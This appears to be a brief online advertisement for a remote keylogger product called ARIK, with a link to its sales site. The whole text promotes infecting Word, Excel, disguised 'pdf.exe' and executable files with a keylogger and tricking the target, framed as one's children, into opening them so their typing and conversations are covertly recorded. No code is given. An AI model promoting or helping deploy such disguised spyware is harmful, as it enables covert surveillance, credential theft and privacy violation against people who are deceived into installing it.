Our program, Aaron REMOTE Installable Keylogger (code name ARIK) can infect a MS Word file (.doc), MS Exel file (.xls) , spoofed pdf (pdf.exe) and .exe file with our keylogger. After infecting, you can send infected file to your children, and convince them to open it. After that, keylogger will be installed on their computer. You will know about everything what they are doing and with whom they are talking.
More info: http://remote-keylogger.net/